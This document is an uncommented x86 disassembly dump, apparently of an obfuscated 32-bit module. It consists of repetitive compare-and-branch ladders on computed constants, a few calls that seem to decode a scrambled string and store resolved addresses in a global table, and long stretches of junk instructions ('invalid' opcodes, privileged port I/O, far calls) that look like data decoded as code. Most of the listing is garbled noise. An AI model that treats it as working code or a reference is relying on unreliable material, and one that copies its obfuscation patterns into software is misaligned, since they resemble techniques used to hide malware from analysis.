cmp edx, dword [ebp - 0x218]
sbb eax, dword [ebp - 0x214]
jl 0x6e109de8
mov eax, dword [ebp - 0x218]
xor eax, 0xcc820
or eax, dword [ebp - 0x214]
je 0x6e105780
mov edx, 0xcc820
mov eax, 0
cmp edx, dword [ebp - 0x218]
sbb eax, dword [ebp - 0x214]
jl 0x6e109de8
mov eax, dword [ebp - 0x218]
xor eax, 0x9c7fd
or eax, dword [ebp - 0x214]
je 0x6e102890
mov edx, 0x9c7fd
mov eax, 0
cmp edx, dword [ebp - 0x218]
sbb eax, dword [ebp - 0x214]
jl 0x6e109de8
call [ebx]
test esp, ebp
std
invalid
mov eax, dword [ebp - 0x218]
xor eax, 0x15d8a
or eax, dword [ebp - 0x214]
je 0x6e104008
mov eax, dword [ebp - 0x218]
xor eax, 0x27777
or eax, dword [ebp - 0x214]
je 0x6e106ef8
jmp 0x6e109de8
mov al, 0x98
test al, 6
lahf
fstp xword [esi + 0x409f79ed]
lodsd eax, dword [esi]
popfd
jp 0x6e102850
dec eax
mov eax, 0x9fc0c317
pop ds
xchg dword [ebx + 0x79ba124e], eax
push ds
mov dword [edx - 0x7c], eax
cmpsb byte [esi], byte es:[edi]
aad 0x41
jl 0x6e1028bf
outsd dx, dword [esi]
test al, 0xde
adc eax, 0x2731cf14
lcall 0x95cb, 0xf6527693
jbe 0x6e102913
test bl, 0x95
arpl bx, ax
mov word [0x3dae8cd1], gs
xor byte [eax - 0x2c1b6c37], bh
xchg edx, eax
mov dword [0xe7e4fa58], eax
aas
and al, 0xf8
scasb al, byte es:[edi]
invalid
mov ss, eax
movsd dword es:[edi], dword [esi]
mov al, byte [0x91149e41]
dec ebx
inc ebp
and dword [edi + 0x67ceb7a5], 0x72
inc esp
and byte [edi - 0x1e04599f], dh
loopne 0x6e102931
push cs
mov esi, 0x68b15ac1
push edi
sbb ebx, dword [edi + 0x5500c46a]
test dword [edx + 0x64d49f72], edi
mov dh, 0xc5
xchg esp, eax
fbstp tbyte [eax + 0x24]
and al, 0xc9
lds edx, [edi + ebx*8 - 0x36dbdb90]
mov edx, 0x2841cc7
xlatb
sub dword [esi - 0x702a50a], eax
aam 0xb
loop 0x6e10299f
aas
nop
into
mov ah, byte [ebp + eax*4 + 0x63]
jnp 0x6e102900
inc si
inc edx
pop ss
test eax, 0x4962baf2
mov byte [0xcc90c575], al
lea ebp, [ebx]
push 0x3e7cf58d
mov byte [0x7054e255], al
iretd
pushal
xor al, 0xfa
call 0xb5b5dc62
in al, dx
sbb edx, eax
leave
xor al, 0x22
int 0x9b
aad 9
pushfd
mov esp, ebp
in al, 0xec
mov ecx, 0x70b647b4
lahf
pop eax
add esi, dword [esi + ebp*4 + 0x7ec79b6]
or al, 7
imul ecx, dword [edi], 0xe
sub al, 0xde
outsb dx, byte [esi]
hlt
xlatb
cmp eax, 0xcc909197
jmp 0x6e109de9
pop es
jg 0x6e103ffd
pop edi
fisub dword [ecx]
mov dl, 0x7a
mov dh, 0x53
dec ebp
push 0x571eada0
cld
mov byte [esi - 0x53887c1b], bl
invalid
inc ecx
cld
mov eax, dword [0xeda965c1]
aas
or al, 0xe2
int1
and dword [edx - 0x770d9192], esi
rcl dword [ecx], cl
int3
test dword [eax], eax
in eax, 0x53
int1
cmp eax, 0x29997834
jmp 0x6e10571e
adc dl, byte [ecx]
and dword [esi - 0x52bbd22], ebp
andnps xmm0, xmmword [eax - 0x241450b0]
jp 0x6e106efa
add ch, al
movsd dword es:[edi], dword [esi]
and dl, byte [eax + edx*4]
int3
mov al, 0x43
out dx, eax
dec ecx
stc
push es
clc
mov byte [eax], ah
dec ecx
or al, 0xb3
in eax, dx
cmp eax, 0x428ed3f
push esi
dec eax
mov cl, byte [edx + 0x62]
sbb dh, byte [eax]
test eax, 0x6512e3e1
cmp byte [ecx], dh
loop 0x6e106edb
sbb edx, dword [ebp - 0x2f58597f]
sub esi, dword [edi - 0x51f9c2e4]
push 0xbdc0ad92
imul ecx, dword [eax + 0x3881ac1c], 0xffffffdc
add dword [edi], ecx
lcall 0x1573, 0x60275d79
jmp 0x6e106f65
sbb byte [esi], dl
mov dword [ecx - 0x1a101258], esp
leave
cmp al, 9
and dword [ebx + ebp*8], ebx
mov bl, 0xa8
out dx, eax
stc
or byte [ebx], ah
mov al, 0xfd
sbb eax, 0x2e46a05f
sub ebx, dword [ebp - 0x140c2467]
out 0x68, al
inc esp
mov bh, 0xba
je 0x6e106fec
lahf
inc edi
push ss
jmp 0x30bb464e
into
adc eax, 0x29644f41
loop 0x6e107012
insd dword es:[edi], dx
outsd dx, dword [esi]
aam 0xa7
sar dword [0xdb74660], 0xef
call 0x56fc321e
inc eax
jns 0x6e107040
cmp ecx, dword [0xfd5cb212]
into
in eax, dx
invalid
test eax, 0x24ebadde
sub eax, 0xb8ea9480
xchg esp, eax
add byte [edi + 0x3987e337], dl
mov ah, 0x91
ror dword [esi], 1
aaa
push edi
adc eax, 0xfec02f2f
add eax, esp
push 0x98f9e2c4
xchg esp, eax
das
shl al, 0x5e
sbb dh, byte [edi - 0x4c]
invalid
mov eax, dword [eax + 0x7e930c73]
jge 0x6e1070a9
lea ecx, [ecx - 0x5a]
in al, dx
arpl cx, bx
push es
cmp ebp, edi
aas
into
adc ecx, dword [edx + 0x73a74531]
and al, 0xde
xchg edi, eax
cld
pop ss
lea ebx, [edi + 0x7b]
xlatb
cwde
xor ebx, dword [esi]
int1
stosd dword es:[edi], eax
invalid
inc ebx
sub byte [edx + 0x2e0444c1], dl
or al, 0xf8
int1
leave
popal
add eax, 0x969fdcab
and al, 0x4f
enter 0x6d85, 0xffffffffffffffb6
xor dword [esi], eax
mov al, byte [esi]
mov byte [esi - 0x218d6342], bh
ret 0x8f83
jno 0x6e108676
add byte [ecx + 0x2583da91], 0x3b
push es
stc
stosb byte es:[edi], al
add word [ecx + 0x2d], sp
mov al, 0xcc
xor edi, dword [edi]
jb 0x6e108682
test eax, 0x23e597eb
xchg bh, ch
adc cl, byte [ebx + esi + 0xd]
test byte [ebp - 0x4e], dh
mov edi, 0x2c2ca463
mov edx, 0x76712141
int3
dec edi
sbb bl, bl
mov byte [ebx - 0x39ed396e], ch
test esp, ebx
pop ss
das
insd dword es:[edi], dx
cdq
fstp dword [edi + edx*2 + 0x65a4da34]
push ebx
or dword [edi - 0x75ea8852], esi
sbb dword [esi + 0x30], eax
iretd
add byte [eax], al
cli
xchg esi, eax
pop ebp
xlatb
aaa
scasd eax, dword es:[edi]
jns 0x6e10860d
xor al, 0xcd
test eax, 0xd30e6866
jbe 0x6e108697
lcall 0x5f78, 0x16288a0a
inc edi
salc
jbe 0x6e108644
invalid
jnp 0x6e10866e
xchg ecx, eax
iretd
nop
jmp 0x6e109de9
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0x11
lea eax, [ebp - 0x397]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x220], 0xbc57a
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x228], 0x6577e
mov dword [ebp - 0x224], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
sub eax, dword [ebp - 0x228]
sbb edx, dword [ebp - 0x224]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], edx
mov eax, dword [ebp - 0x230]
xor eax, 0xf0cfa
or eax, dword [ebp - 0x22c]
je 0x6e11452e
mov edx, 0xf0cfa
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0xedc8f
or eax, dword [ebp - 0x22c]
je 0x6e112db6
mov edx, 0xedc8f
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0xce1c6
or eax, dword [ebp - 0x22c]
je 0x6e10cfd6
mov edx, 0xce1c6
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0xbb3b0
or eax, dword [ebp - 0x22c]
je 0x6e11741e
mov edx, 0xbb3b0
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0xba6e4
or eax, dword [ebp - 0x22c]
je 0x6e11ba86
mov edx, 0xba6e4
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x98fd7
or eax, dword [ebp - 0x22c]
je 0x6e115ca6
mov edx, 0x98fd7
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x92782
or eax, dword [ebp - 0x22c]
je 0x6e118b96
mov edx, 0x92782
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x87a1b
or eax, dword [ebp - 0x22c]
je 0x6e11a30e
mov edx, 0x87a1b
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x7e9b5
or eax, dword [ebp - 0x22c]
je 0x6e10b85e
mov edx, 0x7e9b5
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x5f356
or eax, dword [ebp - 0x22c]
je 0x6e11163e
mov edx, 0x5f356
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x56dfc
or eax, dword [ebp - 0x22c]
je 0x6e11d1fe
mov edx, 0x56dfc
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x443c9
or eax, dword [ebp - 0x22c]
je 0x6e10a0e6
mov edx, 0x443c9
mov eax, 0
cmp edx, dword [ebp - 0x230]
sbb eax, dword [ebp - 0x22c]
jl 0x6e11d1fb
mov eax, dword [ebp - 0x230]
xor eax, 0x24493
or eax, dword [ebp - 0x22c]
je 0x6e10fec6
aam 0xfd
invalid
mov eax, dword [ebp - 0x230]
xor eax, 0x2d6c8
or eax, dword [ebp - 0x22c]
je 0x6e10e74e
jmp 0x6e11d1fb
scasd eax, dword es:[edi]
aas
neg bl
inc esi
xchg ecx, eax
fldcw word [ebx + 0xe]
pop esi
into
inc esp
les ebx, [esi + 0x5b]
jnp 0x6e10a0c0
jp 0x6e10a134
xchg byte [eax + 0x4e], cl
add eax, 0xf745042c
movsd dword es:[edi], dword [esi]
inc ebp
mov dh, 0xe2
xchg esi, eax
add eax, 0x540c6eaf
adc bh, 0xa7
mov ecx, 0x57c83ff4
or dword [edx + 0x4a], 0xffffffcc
adc eax, 0x502f66e9
cmpsd dword [esi], dword es:[edi]
add ebp, dword [ebx - 0x8859c72]
invalid
dec ebp
cmp al, 8
push 0x6d
ret 0x3963
or byte [ebx + 0x5a], cl
rol byte [eax - 0x53], 0xa1
pop ecx
pushfd
lodsd eax, dword [esi]
aam 0xa
sbb ebp, dword [esi + 0x5346082b]
mov eax, dword [0xd2083f43]
fdiv dword [ebp + 0x2db49813]
rsqrtps xmm3, xmmword [esp + ebp - 0x25]
loope 0x6e10b81f
jmp 0x12571ff2
dec ebx
cmp byte [esi - 7], ah
mov al, byte [0xcf80f09e]
push eax
add dword [ecx + edx*2 - 0x16], ebx
mov eax, dword [0xc9867ea2]
mov byte [edx - 0x66], ah
popal
adc bh, al
mov bl, bh
sbb al, 0xb2
push es
and ecx, dword [ebp + 0x274bb7a3]
lds edi, [esp + ebp + 0x3b9342e1]
xor eax, 0x783fb417
in eax, dx
add byte [edx], ch
jg 0x6e10b7b1
sbb byte [ecx + 0x6ec75978], bh
sbb al, 0x26
sbb byte [ebp - 0x19feb92d], 0x99
dec ecx
add dl, ch
jmp 0x6e10b84e
dec edi
rcl al, 0x16
nop
mov ch, 0x35
rcl dword [eax + 0x19a1e9cc], 1
add bl, ah
xchg esp, eax
jecxz 0x6e10b7f4
popfd
les esi, [edi + 0x46]
or byte [eax - 0x4a], bl
mov dh, 0xe6
aam 0x16
inc ebp
invalid
shr dword [edx + edx*4 - 0x5a], cl
adc byte [esi - 0x7e4d9faa], dl
sahf
sub dword [edx - 0x66721996], ebx
out 0xb7, al
std
ret
xchg ebp, eax
and cl, al
retf
mov edx, 0xa67c8d0e
cmp byte [edx - 0x7a], 0xf1
invalid
mov byte [0x4a91bf7], al
invalid
dec edi
lodsd eax, dword [esi]
outsd dx, dword [esi]
lodsd eax, dword [esi]
adc ch, byte [ebp + 0x30caa983]
sbb al, byte [esi + ebx + 0x16a069db]
stc
push eax
adc ah, byte [ebx]
popal
mov eax, dword [0x794b09c0]
int1
imul edx, dword [edi - 0x20], 0xfffffff5
lodsd eax, dword [esi]
inc esi
loop 0x6e112e56
cvtdq2ps xmm7, xmmword [esi + 0x69dc6b86]
cmp esi, dword [edi + esi]
div dword [esi - 0xaef02c1]
mov ch, 0x89
push 0xffffffffffffff8b
rcl byte [edx - 0x3b], 0xb0
hlt
lds esi, [eax - 0x26de290c]
sbb edi, ebx
xlatb
sbb eax, dword [edx + 0x109ca17b]
lea esp, [esi]
sbb byte es:[eax + 0x6d], ch
out dx, eax
fisubr word [eax - 0x67673ae2]
cmp eax, dword [eax - 0x25]
dec edx
invalid
inc esp
das
cmp bl, ah
pushfd
and dword [ecx], 0x4c0aa925
out dx, eax
sti
test eax, 0xfbef4c0a
mov dword [0x898b592f], eax
push 0x5cb15aad
inc edi
scasb al, byte es:[edi]
jo 0x6e112df0
sub bl, dh
ja 0x6e112e26
push ebx
mov eax, dword [0x96b793cc]
or bh, dl
imul ebp, dword [ebx - 4], 9
xor al, 0xcf
mov byte [eax], ah
or eax, 0x1157907f
sal byte [esp + 0x1e], 1
jge 0x6e112e1e
dec ebp
cli
xor eax, 0x25a7a741
stosd dword es:[edi], eax
sub ah, byte [ebx]
salc
push esi
sahf
inc ebx
xlatb
in eax, dx
cmp byte [edi - 0x3a], cl
xchg edx, eax
mov ah, 0xfd
mov esp, 0x7da61a02
retf
mov al, byte [0x6031a644]
or dword [esi + 0x72b0253a], 0x311a926a
sub byte [eax + 0x6c], bl
and eax, 0x25be67f2
push 0x998ec231
sbb al, ah
pop edx
sub ecx, dword [edx]
inc edx
popal
in eax, dx
jbe 0x6e114533
mov bl, byte [esi]
cmc
add dl, byte [eax + ecx*4]
retf
clc
rcr dword [edx], 0x18
push 0x32
pop ds
jnp 0x6e1144d7
fadd dword [ebp - 0x76be490e]
popfd
xchg dword [eax], edi
push edx
xor al, 0x5f
pop esi
push ecx
mov eax, dword [0x6784d566]
and dword [esi + 0x6c], ebx
int1
pop esp
xchg ebp, eax
leave
xchg dword [ebx + 0x3b], edx
jnp 0x6e114550
cmp dword [ecx], ecx
dec esi
mov dword [edi], ebx
jge 0x6e114500
ljmp 0x8ce9:0xb2dcd6de
and eax, 0x2b31097d
les esi, [esi]
xchg byte [edx - 0x7d], ch
stosb byte es:[edi], al
mov esi, 0xc368b23c
lahf
enter 0x601d, 0xffffffffffffffcf
push ss
invalid
cmp dword [0x9b090194], esp
mov bl, 0x79
lds esi, [edx - 8]
salc
push esp
fbld tbyte [eax]
scasd eax, dword es:[edi]
invalid
jle 0x6e115c3d
lds ebx, [edi]
aas
sbb al, 0x51
cmpsd dword [esi], dword es:[edi]
jno 0x6e115c81
pop es
sub eax, 0x3095788
or bl, byte [edi + 0x51]
sbb dl, al
and ecx, dword [esi]
jmp 0x6e115cff
sub dword [edx + 0xd], edx
invalid
imul bl
mov edi, 0xe5119b1f
test eax, 0xc715c863
stosb byte es:[edi], al
mov esi, 0x1df6b6de
retf
mov dh, 0x88
out dx, eax
int 0xb2
test dword [edi - 0x4c], edx
ja 0x6e118beb
bound ebp, qword [ecx - 0x4f]
ljmp 0x69d7
add ebp, esp
add esi, esi
cmp eax, 0x5ce67cfd
and al, 0x80
dec edx
call 0xc39b207c
mov ebp, 0x22ae5112
dec edx
invalid
pop eax
js 0x6e11a369
xlatb
xchg edi, eax
enter 0x3f61, 0xffffffffffffff98
cmp byte [ecx + 0x4bb868a8], 0x41
std
mov bl, 0x3b
and dword [esi - 0x33697ba5], edx
dec ecx
mov cl, 0x89
pop eax
inc eax
int3
mov ch, 0xd0
fxch st(6)
aas
sbb al, 0x7f
or dword [edx - 0xf9919c5], edi
je 0x6e11a3c7
xor al, 0x47
cli
jmp 0xac23c51a
outsd dx, dword [esi]
jmp 0x5d6e4761
xor al, 0x14
scasb al, byte es:[edi]
sub esi, dword [eax + 0x39]
jo 0x6e11ba6d
cli
adc al, 0x60
cmpsb byte [esi], byte es:[edi]
invalid
jnp 0x6e11ba9c
sub esp, dword [ebx]
lcall 0x3823, 0xa15eb8e0
jno 0x6e11ba32
pop esi
mov eax, dword [0xd5713823]
mov ah, 0x9f
jno 0x6e11ba57
sub ecx, dword [edi + 0x6d]
jo 0x6e11ba78
mov ch, 0x4b
or esi, dword [edx - 0x39ec6c19]
cmc
xor byte [ebx - 2], bl
dec esp
mov eax, ebx
imul edx, dword [edi + ebp*2 - 0x4ee1cc9b], 0x90aa06cc
invalid
xor ebx, dword gs:[esi]
mov cl, 0xcc
push es
stosb byte es:[edi], al
nop
int3
loope 0x6e11ba50
jno 0x6e11ba2e
dec eax
in al, dx
jo 0x6e11ba66
sub dword [esi - 0x228cc06b], edx
std
adc al, 0x10
inc byte [ecx - 0x2a]
salc
pop esp
call 0x6ca69e07
add edx, dword [esi + edx*4 - 6]
mov eax, dword [0x39ae6916]
xor ch, byte [eax + 0x32]
arpl word [edi + 0x622e1c84], ax
fisub dword [ecx]
xor al, 0xd7
outsd dx, dword [esi]
add al, 0x4e
or eax, 0x8f46daca
jle 0x6e11bac7
iretd
xor eax, 0xb92695ee
ror dword [edi + 0x45ea3735], cl
lcall 0xaf9c, 0x14b181e3
fldl2t
out dx, eax
cmp cl, 0xed
lcall 0x7d4, 0xd4b2fca9
lea edx, [edi]
stosb byte es:[edi], al
add eax, 0xb5667324
in al, dx
out dx, eax
nop
or edx, dword [edi - 0x7e35ed0e]
cmp eax, 0x739ef655
xor al, byte [edx - 0x41]
jo 0x6e11bb2e
adc al, ch
int3
nop
invalid
nop
jmp 0x6e11d1ff
nop
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x366]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d01c], eax
mov dword [ebp - 0x238], 0xb270
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x240], 0x4feae
mov dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0x234]
imul eax, dword [ebp - 0x240]
mov edx, eax
mov eax, dword [ebp - 0x23c]
imul eax, dword [ebp - 0x238]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x238]
mul dword [ebp - 0x240]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x248]
xor eax, 0x7b446820
mov edx, dword [ebp - 0x244]
xor edx, 3
or eax, edx
nop
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x349]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d020], eax
mov dword [ebp - 0x250], 0x33e94
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x258], 0xb54df
mov dword [ebp - 0x254], 0
mov ecx, dword [ebp - 0x250]
mov ebx, dword [ebp - 0x24c]
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0x254]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov eax, dword [ebp - 0x260]
xor eax, 0xf1b3d
or eax, dword [ebp - 0x25c]
je 0x6e126292
mov edx, 0xf1b3d
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xe9373
or eax, dword [ebp - 0x25c]
je 0x6e1306da
mov edx, 0xe9373
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xdb9b8
or eax, dword [ebp - 0x25c]
je 0x6e1233a2
mov edx, 0xdb9b8
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xd063d
or eax, dword [ebp - 0x25c]
je 0x6e127a0a
mov edx, 0xd063d
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xca840
or eax, dword [ebp - 0x25c]
je 0x6e124b1a
mov edx, 0xca840
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xb0990
or eax, dword [ebp - 0x25c]
je 0x6e129182
mov edx, 0xb0990
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xaacbd
or eax, dword [ebp - 0x25c]
je 0x6e11d5c2
mov edx, 0xaacbd
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xa2c19
or eax, dword [ebp - 0x25c]
je 0x6e121c2a
mov edx, 0xa2c19
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0xa198c
or eax, dword [ebp - 0x25c]
je 0x6e12d7ea
mov edx, 0xa198c
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0x9c219
or eax, dword [ebp - 0x25c]
je 0x6e12ef62
mov edx, 0x9c219
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0x8261c
or eax, dword [ebp - 0x25c]
je 0x6e11ed3a
mov edx, 0x8261c
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0x7020a
or eax, dword [ebp - 0x25c]
je 0x6e12c072
mov edx, 0x7020a
mov eax, 0
cmp edx, dword [ebp - 0x260]
sbb eax, dword [ebp - 0x25c]
jl 0x6e1306d7
mov eax, dword [ebp - 0x260]
xor eax, 0x4d903
or eax, dword [ebp - 0x25c]
je 0x6e12a8fa
mov eax, dword [ebp - 0x260]
xor eax, 0x60089
or eax, dword [ebp - 0x25c]
je 0x6e1204b2
jmp 0x6e1306d7
lds ebp, [edx + 0x6b]
dec edx
imul edi, dword [eax + 0x1b], 0x11218c35
jo 0x6e11d5c7
js 0x6e11d5e4
xor eax, 0x7011218c
clc
aam 0xb6
insd dword es:[edi], dx
cmpsd dword [esi], dword es:[edi]
pop eax
pop ecx
pop edx
pop edx
xchg ebp, eax
jmp 0x452474a3
cdq
std
sub bh, cl
ret
fnsave dword [edx + ecx*8 - 0x65]
retf 0x5747
les eax, [eax + 0x36]
inc edi
out 0x89, al
mov al, byte es:[0xab69b23f]
or al, 0x21
push eax
push esi
mov bh, 0x83
inc eax
test dword [ebx + 0x1c01ad9f], 0x3b2f5935
xchg esi, eax
les ebx, [esi + 0x3a]
or esi, dword [eax + ecx*4]
dec eax
retf
movsb byte es:[edi], byte [esi]
cmp ch, byte [eax]
mov ebx, dword [edi + 0x4d]
pop edi
dec ebp
inc ecx
cmp edx, esi
cmc
loop 0x6e1204ca
clc
not dword [edx - 0x73c2a081]
lahf
jl 0x6e120482
sbb eax, 0x3e0e2070
enter 0xffffffffffffc03e, 0xfffffffffffffffa
mov esp, 0x9a4c7031
cmpsd dword [esi], dword es:[edi]
ret
call 0x464db832
jbe 0x6e1204a4
je 0x6e120431
into
ret
mov ebx, 0x70dac0c1
cmp ebp, dword [ebp + 0xa]
jae 0x6e12049d
inc ebp
dec esi
sub al, 0xa7
jp 0x6e12046b
mov bh, 0x6c
pop eax
ror byte [eax - 0x3a], 1
test dword [edi], 0xa1f1ca3d
sbb byte [ebx], ch
jno 0x6e120467
cmp eax, 0x18a1f1ca
sub esi, dword [ecx - 0x6b]
pop esi
je 0x6e1204f0
outsd dx, dword [esi]
cmpsd dword [esi], dword es:[edi]
cmp bl, al
dec eax
test dword [ecx - 0x7b583586], edi
add ebp, esi
or ah, dl
xor dword [esi - 0x55], edi
ja 0x6e12050e
push 0xffffffffffffffd7
pop ebp
imul edi, dword [ecx], 0x2c64861b
stc
sub al, 0xf9
cmpsb byte ds:[esi], byte es:[edi]
mov ss, word [edi + 0x5e]
adc al, 0x1f
mov al, 0x4a
or dword [ecx - 0x73c7208], 0xc45dd40a
xchg ecx, esp
or dword [esi + 0x33], ecx
in al, dx
cld
mov ebx, 0xa4763416
push ss
xor al, 0x76
movsb byte es:[edi], byte [esi]
in eax, dx
push ebx
shr dword [0xf40ec930], 1
shl dword [edi + 0x6e16c578], cl
sbb dl, cl
xor ebp, dword [ecx + 0x64f2e45f]
mov esi, dword [eax + edx - 0x634f43e7]
xchg eax, edi
out dx, al
mov esi, 0xc9b516ec
and al, 0xf0
sbb byte [ebx - 0x58], cl
adc dl, byte [0xdfc05fd4]
shr byte [edx + edx], cl
stosb byte es:[edi], al
aas
not ebp
jmp 0x7640d55f
add eax, 0x428995a4
mov eax, dword [0x881220ec]
invalid
xor ebp, esp
lds edx, [edi + 0x60524306]
push esp
stc
sar dword [ebx + 0x15], 1
in al, dx
mov esp, 0xc4205f52
push esi
scasb al, byte es:[edi]
enter 0xffffffffffffc038, 0xffffffffffffffb9
and dl, dh
cmpsb byte [esi], byte es:[edi]
sti
imul dword [esi]
inc ebx
in al, 0xb4
and eax, 0x5754f167
lcall 0x473b, 0x49b907ce
xor al, 0x79
salc
test bl, dh
sahf
xchg ebx, eax
fild qword [esi + edx*2 + 0x2e10cae0]
test byte [eax], dl
enter 0x3222, 0xffffffffffffffdf
dec ebx
add byte [ecx], dl
test dword [edi + edi], ebx
int 0xe5
adc dword [ebp - 0x1a32c0e4], eax
inc edi
inc eax
test ecx, edx
sub al, 0x8c
sti
dec esi
mov al, 0x8b
or ebp, eax
pop esi
mov ch, 0xdf
push ebp
lahf
test al, 0x13
push es
jo 0x6e1233e8
push esp
int3
int 0x8c
push edi
push edi
push esi
inc edi
add ebx, dword [edi + 0x59]
sub cl, byte [ebx - 3]
outsd dx, dword [esi]
inc ebp
xlatb
dec esp
wait
invalid
or byte [ecx], 0x99
rcl dword [ebp + 0x3621d1c2]
mov ebx, 0xa94fc73f
xlatb
xor edi, ecx
or bh, byte [eax + esi - 0x76b15ad2]
or dh, al
dec ebx
aaa
push edi
cdq
jmp 0x7a3b4b13
jnp 0x6e1262bf
pushfd
add dword [edi - 0xd], ebx
mov ebp, 0xed19868c
xor bh, ah
adc dh, byte [ebp + esi - 0x27]
dec byte [edx + edi*2 - 0x4f]
inc eax
cmc
out 0x98, eax
xor dl, byte [bx + di + 0x6e]
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
loop 0x6e12621c
int3
mov ah, 0x74
and ebx, edi
and al, 0x34
sti
sub al, 0x80
sahf
pushal
sub byte [eax - 0x12], bl
push es
imul dword [esi - 0x78a56497]
wait
int1
popfd
xor al, 0x3c
jno 0x6e1262ed
lea edi, [ebx]
push es
clc
arpl word [edi + 0x597adc1f], bx
inc esp
pop ds
jns 0x6e12631d
pop ebp
popal
inc ebx
and byte [edi + 0x1c], dl
pushfd
pop esi
mov edx, 0x4f96d6f1
lea esp, [ebp + 0x718f494c]
cmp esi, ebx
jle 0x6e126288
movsd dword es:[edi], dword [esi]
dec esp
dec ecx
invalid
or al, 0x7e
mov bl, 0xaa
push ecx
dec ebp
cli
inc edi
mov ah, 0x15
inc esp
cwde
mov ah, 0x4a
jb 0x6e1262ca
pop ds
out dx, al
dec ebp
xchg esp, eax
push ds
jne 0x6e12626b
dec eax
push edi
push ds
int 0xef
mov eax, dword [0xa2dc77d1]
lock or dword [edx - 0x2e], ebx
ljmp 0x227f
into
popal
push esp
fsub dword [eax + ebx*2 + 0x51]
movsb byte es:[edi], byte [esi]
fiadd dword [eax]
nop
mov ecx, 0x2b91778
mov ds, word [ebx*2 + 0x789dd962]
test dh, al
dec edi
or edx, esp
imul ecx, dword ss:[edi + 0x7f], 0x2a57a5ab
ret
salc
sti
movsb byte es:[edi], byte [esi]
fsub qword [ebx]
lodsd eax, dword [esi]
sbb al, 0x13
scasb al, byte es:[edi]
test byte [ebp + 0x7a40f353], al
push edi
dec edx
mov bh, al
or eax, 0x2daa28d6
